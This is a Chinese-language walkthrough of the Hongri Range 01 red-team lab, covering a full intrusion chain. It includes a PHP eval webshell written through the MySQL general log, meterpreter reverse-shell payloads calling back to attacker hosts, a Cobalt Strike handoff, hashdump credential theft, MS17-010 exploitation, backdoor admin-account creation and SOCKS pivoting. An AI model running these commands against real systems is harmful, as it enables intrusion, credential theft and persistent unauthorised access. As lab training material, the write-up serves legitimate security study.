红日靶场01 渗透过程记录
红日靶场01 ATT&CK红队评估
外网
信息收集
首先扫描C段找一下目标站点IP:
netdiscover -i eth0 -r 192.168.221.0/24 |
找到站点外网IP为192.168.221.133
接下来进行端口扫描
发现80端口开启,并且站点开启了mysql服务
访问80端口,是一个phpinfo()页面,且可以进行mysql连接测试
使用root,root发现mysql存在弱口令
接下来使用dirsearch扫描一下网站目录,发现存在phpmyadmin后台
进入发现存在root,root弱口令,登陆成功,发现后台可执行sql语句,尝试写马
查看数据库是否有导入权限,看能否直接导入木马
SHOW GLOBAL VARIABLES LIKE '%secure%'
发现没有权限
查看是否有开启日志记录
SHOW GLOBAL VARIABLES LIKE ‘%general%’
发现功能关闭
开启全局日志
SET GLOBAL general_log = ON
指定日志写入到网站根目录
set GLOBAL general_log_file='C:/phpStudy/WWW/log.php'
写马
select '<?php eval($_POST[1]);?>'
访问log.php可查看日志,用蚁剑连接即可getshell
用蚁剑连接后,发现目录存在其他网站,访问/yxcms:
发现网站首页存在默认密码泄露,经尝试,可直接登入后台
进入后台,发现可以在前台模板写入一句话木马
查找路径为/yxcms/protected/apps/default/view/default/shell2.php
,访问,连接成功
tips:这里还存在目录浏览漏洞,访问没有默认页面的目录,可以遍历目录文件
后渗透
可以使用msf生成exe并监听,远程连接目标机
启动msfconsole:
msfconsole
选择生成反向连接程序
use payload windows/x64/meterpreter/reverse_tcp
设置参数(攻击机ip和端口)
set LHOST 192.168.221.128
set LPORT 5555生成exe:
generate -f exe -o 64.exe
设置监听:
use exploit/multi/handler
设置各参数:
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 5555
run
上传并运行exe文件
用蚁剑向目标机的C盘上传64.exe,开启终端运行该程序:
C:\phpStudy\WWW> cd C:\ |
成功反连:
提权
getuid查看权限,发现已经是system权限(看网上都是administrator,需要getsystem简单提权一下,这里不知道为什么不一样)
获取账号密码
hashdump
接下来可以将shell派发给cobaltstrike
在cs上开启监听
在msf上执行命令:
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成
set lhost xxxx #公网vps ip
set lport 14444 #监听端口
set session 1 #派发session id
exploit连接成功
也可以使用cobalt strike生成exe上传并连接
因为msf
连接成功
右键目标机在session中将sleep时长调整为1,加快回显速度
再右键点击interact打开交互界面,查看权限:
这里依旧是system权限,如果是administrator,可以参考如下方法提权:
查看系统信息
shell systeminfo
可以看见只有4个补丁
直接使用CS上的ms14_058提权即可(也可直接getsystem)
横向移动
横向渗透前,先将该web服务器配置为代理服务器当作跳板机
用msf直接搭建sock隧道:
进入session,自动创建路由:
run post/multi/manage/autoroute
查看路由
run autoroute -p
退到上层,使用socks进行代理,端口与proxychains里设置一致即可:
background
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVHOST 127.0.0.1
exploit成功挂起一个job
修改proxychains4.conf
vim /etc/proxychains4.conf:
arp 探测内网存活主机
use post/windows/gather/arp_scanner
set RHOSTS 192.168.52.0/24
set SESSION 1
exploit发现结果
udp协议探测内网存活主机
use auxiliary/scanner/discovery/udp_sweep
set RHOSTS 192.168.52.0/24
run查看结果发现有三个内网主机存活分别是:
- 192.168.221.138
- 192.168.221.141
- 192.168.221.143
开始进行域内信息收集
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)在shell中查看域信息
net view
查看主域信息
net view /domain
横向渗透控制其他主机
对其他内网主机进行端口探测
proxychains nmap -sS -sV -Pn 192.168.52.141
发现开放了445端口,可以尝试MS17_010进行攻击
漏洞存在,尝试getshell
使用psexec失败
试试其他的:
经尝试,可使用command来getshell
接下来尝试添加用户
由于密码设置策略,密码不能太简单且不能包含用户名
set COMMAND net user yuyoung songxue@123 /add
run然后把添加的用户加入管理员组
set COMMAND net localgroup administrators yuyoung /add
run一般可以打开3389远连,这里使用23端口的telnet服务
set COMMAND sc config tlntsvr start= auto
run
set COMMAND net start telnet
run
set COMMAND netstat -an
#查看一下23端口号是否开启
run成功
接下来telnet连接
use auxiliary/scanner/telnet/telnet_login
set RHOSTS 192.168.52.141
set username yuyoung
set PASSWORD songxue@123
run登陆成功
直接telnet建立会话
成功拿下成员主机
ctrl+] 再输入q退出telnet
转换方向,尝试拿下域控
首先扫描端口
开放了445端口,再次尝试永恒之蓝
不知道是不是防火墙的原因,不成功,最后使用CS直接横向移动getshell